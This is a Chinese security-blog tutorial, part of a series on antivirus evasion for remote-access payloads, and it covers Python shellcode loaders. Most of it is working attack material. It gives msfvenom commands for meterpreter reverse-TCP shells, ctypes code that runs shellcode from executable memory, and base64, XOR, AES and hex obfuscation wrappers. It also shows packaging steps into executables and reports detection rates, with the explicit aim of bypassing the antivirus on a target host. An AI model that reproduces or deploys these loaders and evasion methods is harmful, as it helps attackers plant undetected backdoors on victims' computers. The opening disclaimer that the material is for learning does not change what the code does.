郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
《远控免杀从入门到实践》系列文章目录:
5、远控免杀从入门到实践 (5)代码篇-Python
6、远控免杀从入门到实践 (6)代码篇-Powershell
7、远控免杀从入门到实践 (7)代码篇-Golang+Ruby
8、远控免杀从入门到实践 (8)白名单总结篇
9、远控免杀从入门到实践 (9)深入免杀 (暂定)
10、远控免杀从入门到实践 (10)自研工具篇 (暂定)
免杀能力一览表
17/1581946372_5e4a96044e54b.png" class="highslide-image" target="_blank" style="box-sizing:border-box;background:0px 0px;color:#069AEF;">
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
Python加载shellcode免杀介绍
由于python使用比较简单方便,所以现在很多免杀都是使用python来对shellcode进行处理,做一些加密、混淆,用python来实现各种加密也比较简单而且免杀效果相对不错,唯一不足的地方就是py编译生成的exe文件比较大。
免杀工具avet、Python-Rootkit、Avoidz、Winpayloads、BackDoor-Factory都使用了把shellcode嵌入python代码中,然后编译py文件为exe,从而达到免杀的效果。
通过py源码编译exe
2.1 方法1:python加载C代码(VT免杀率19/70)
这种方法是python免杀最常见的一种方式,将C语言的shellcode嵌入到py代码中,然后借助于pyinstaller或py2exe编译打包成exe,不过因为代码和原理比较简单,所以免杀效果一般。
先用msfvenom生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f c
python代码pyshellcode.py
#!/usr/bin/python import ctypes
shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
然后要使用PyInstaller将py转为exe,pyinstaller依赖于pywin32,在使用pyinstaller之前,应先安装pywin32。
pywin32下载后,点击下一步安装即可https://sourceforge.net/projects/pywin32/files/pywin32
pyinstaller 下载https://github.com/pyinstaller/pyinstaller/releases
,解压,安装好依赖包pip install -r requirements.txt
,即可使用。
将pyshellcode.py
复制到C:\Python27_x86\pyinstaller
目录中,在该目录下执行命令编译exe:
python pyinstaller.py -F -w pyshellcode.py
执行生成的exe(文件大小3.4M),可上线,可过360和火绒
msf中可正常上线
virustotal.com中19/70个报毒
2.2 方法2:py2exe打包编译exe (VT免杀率10/69)
该方法借用了免杀工具Python-Rootkit
的思路。
首先要在windows上安装x86版的python。
注意:必须使用x86版本Python 2.7,即使Windows是x64的,也要安装32位版本。
我这里安装的是Python 2.7.16 x86 windows版:
https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
之后安装32位Py2exe for python 2.7
https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
在Windows上安装OpenSSL(可选)
msfvenom生成python payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.py
创建文件setup.py
from distutils.core import setup import py2exe
setup(
name = "Meter",
description = "Python-based App",
version = "1.0",
console = ["shell.py"],
options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},
zipfile = None )
在msf中设置payloadwindows/meterpreter/reverse_tcp
,监听相应3333端口。
在windows下执行python.exe .\setup.py py2exe
,(文件大小11M)
msf中可正常上线
打开杀软进行测试,可正常上线
virustotal.com中10/69个报毒
2.3 方法3:base64编码(VT免杀率16/70)
和2.1方法一样,先生成shellcode。
先用msfvenom生成shellcode,记得要用base64编码:
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=10.211.55.2 LPORT=3333 -f c
python代码如下:
import ctypes
import base64
encode_shellcode = ""
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
使用pyinstaller编译打包exe,生成文件大小3.4M
python pyinstaller.py -F -w pyshellcode.py
在测试机器运行时,360杀毒静态查杀报警,但执行和上线都没问题。
virustotal.com中16/71个报毒
2.4 方法4:py+C编译exe(VT免杀率18/69)
和2.1方法一样,先生成shellcode。
先用msfvenom生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f c
python代码如下:
import ctypes
buf = "" #libc = CDLL('libc.so.6') PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer): buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr) if 0 == addr: raise Exception("Failed to allocate memory")
memmove(addr, buf, size) if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC): raise Exception("Failed to set protection on buffer") return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: if 1:
ctypes.windll.use***.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
使用pyinstaller编译打包exe,生成文件大小3.4M
python pyinstaller.py -F -w pyshellcode.py
virustotal.com中18/69个报毒
2.5 方法5:xor加密(VT免杀率19/71)
这个和专题27中的方法6一样,需要使用一个工具https://github.com/Arno0x/ShellcodeWrapper
先用msfvenom生成一个raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw > shellcode.raw
在ShellcodeWrapper
文件夹中执行下面命令,其中tidesec
为自己设置的key。
python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
生成了三个文件,有一个py文件,也是我们要用到的。
其中encryptedShellcodeWrapper_xor.py
文件中的python源码如下
#!/usr/bin/python # -*- coding: utf8 -*- # Author: Arno0x0x, Twitter: @Arno0x0x # # You can create a windows executable: pyinstaller --onefile --noconsole multibyteEncodedShellcode.py from Crypto.Cipher import AES from ctypes import * import base64 # data as a bytearray # key as a string def xor(data, key): l = len(key)
keyAsInt = map(ord, key) return bytes(bytearray((
(data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
))) #------------------------------------------------------------------------ def unpad(s): """PKCS7 padding removal""" return s[:-ord(s[len(s)-1:])] #------------------------------------------------------------------------ def aesDecrypt(cipherText, key): """Decrypt data with the provided key""" # Initialization Vector is in the first 16 bytes iv = cipherText[:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(cipherText[AES.block_size:])) if __name__ == '__main__':
encryptedShellcode = ("\xaf\xac\xda\x91\...")
key = "tidesec" cipherType = "xor" # Decrypt the shellcode if cipherType == 'xor':
shellcode = xor(bytearray(encryptedShellcode), key) elif cipherType == 'aes':
key = base64.b64decode(key)
shellcode = aesDecrypt(encryptedShellcode, key) else: print "[ERROR] Unknown cipher type" # Copy the shellcode to memory and invoke it memory_with_shell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memory_with_shell,CFUNCTYPE(c_void_p))
shell()
使用pyinstaller编译:
python pyinstaller.py --onefile --noconsole encryptedShellcodeWrapper_xor.py
编译执行,可上线,virustotal.com上查杀率19/71
2.6 方法6:aes加密(VT免杀率19/71)
这个和上面的方法5:xor加密一样,需要使用一个工具https://github.com/Arno0x/ShellcodeWrapper
先用msfvenom生成一个raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw > shellcode.raw
在ShellcodeWrapper
文件夹中执行下面命令,其中tidesec
为自己设置的key,加密方式设置为aes即可。
python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec aes
其中encryptedShellcodeWrapper_aes.py
文件中的python源码如下
#!/usr/bin/python # -*- coding: utf8 -*- # Author: Arno0x0x, Twitter: @Arno0x0x # # You can create a windows executable: pyinstaller --onefile --noconsole multibyteEncodedShellcode.py from Crypto.Cipher import AES from ctypes import * import base64 #------------------------------------------------------------------------ # data as a bytearray # key as a string def xor(data, key): l = len(key)
keyAsInt = map(ord, key) return bytes(bytearray((
(data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
))) #------------------------------------------------------------------------ def unpad(s): """PKCS7 padding removal""" return s[:-ord(s[len(s)-1:])] #------------------------------------------------------------------------ def aesDecrypt(cipherText, key): """Decrypt data with the provided key""" # Initialization Vector is in the first 16 bytes iv = cipherText[:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(cipherText[AES.block_size:])) if __name__ == '__main__':
encryptedShellcode = ("\x32\x1f\x96")
key = "IePGfIakAIG4GxOkNEbyXA==" cipherType = "aes" # Decrypt the shellcode if cipherType == 'xor':
shellcode = xor(bytearray(encryptedShellcode), key) elif cipherType == 'aes':
key = base64.b64decode(key)
shellcode = aesDecrypt(encryptedShellcode, key) else: print "[ERROR] Unknown cipher type" # Copy the shellcode to memory and invoke it memory_with_shell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memory_with_shell,CFUNCTYPE(c_void_p))
shell()
使用pyinstaller编译:
python pyinstaller.py --onefile --noconsole encryptedShellcodeWrapper_aes.py
编译执行,可上线,virustotal.com上查杀率19/71,和上面的xor加密一样。
python加载器
3.1 方法1:HEX加密(VT免杀率3/56)
这是使用了k8的方法:https://www.cnblogs.com/k8gege/p/11223393.html
k8的工具scrun不仅提供了加载python代码,还能加载C#。
先用msfvenom生成一个c格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f c -o shell.c
把shellcode转成hex,我这就也用k8飞刀了。
然后下载这里的工具:https://github.com/k8gege/scrun
使用python ScRunHex.py hexcode
就可以加载执行shellcode了
msf中正常上线
virustotal.com上ScRunHex.py
查杀率3/56
这里也可以直接用scrun.exe
来直接执行hex代码,不过编译好的scrun.exe
早就被各大杀软加特征库里了(VT免杀率41/71),还是自己编译的好一些。
其实ScRunHex.py
也可以编译成exe,代码需要修改一下。
#scrun by k8gege import ctypes import sys
shellcode = bytearray(("shellcode-hexcode").decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
编译exe后执行,可正常上线,不过virustotal.com上查杀率17/69。
3.2 方法2:base64加密(VT免杀率3/56)
和上面的3.1一样,也是k8的大作,使用了base64+hex的方式处理shellcode。
文件ScRunBase64.py
代码如下
#scrun by k8gege import ctypes import sys import base64
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
virustotal.com上ScRunBase64.py
查杀率4/58
参考资料
CS强化_python免杀:
https://mp.weixin.qq.com/s/9U7TJiLTIVQNvEakJ-yIAA
shellcode加载总结:
https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
猜你还喜欢
- 05-18暗链隐藏的N种姿势
- 08-06多线程WEB安全日志分析脚本
- 08-04Python渗透工具的架构探讨
- 09-03自己动手打造工具系列之自动刷新简历
- 09-25伪造电子邮件以及制造电子邮件炸弹的攻防探讨
- 08-29linux操作系统的快捷键及命令讲解
- 05-12如何编写高质量的Windows Shellcode
- 02-17为Nginx加入一个使用深度学习的软WAF
- 07-23PHP
- 07-24Python入门学习
- 随机文章
-
- 探究if条件语句引发的两个Web漏洞
- Apache Solr最新RCE漏洞分析
- 知名Web域名注册商披露数据泄露事件
- PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
- 浅谈安全攻防场景下的安全检测
- Think CMF X任意内容包含漏洞分析复现
- 最后一个登录框引起的血案
- 十种注入技巧 | 通用性进程注入技巧研究
- 使用Burp拦截Flutter App与其后端的通信
- 存储型XSS的攻防:不想做开发的黑客不是好黑客
- Suricata + Lua实现本地情报对接
- 前端加密后的一次安全测试
- 子域名枚举的艺术深度剖析
- 代码审计之php.ini配置详解
- 提权总结以及各种利用姿势
- 自己动手制作一个恶意流量检测系统(附源码)
- 被动扫描器之插件篇
- 一键伪装成Win 10,Kali Linux 2019年最终版重磅功能预览
- Apache Axis 1.4远程命令执行诡异探索之路
- 深入分析一个Pwn2Own的优质Webkit漏洞
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-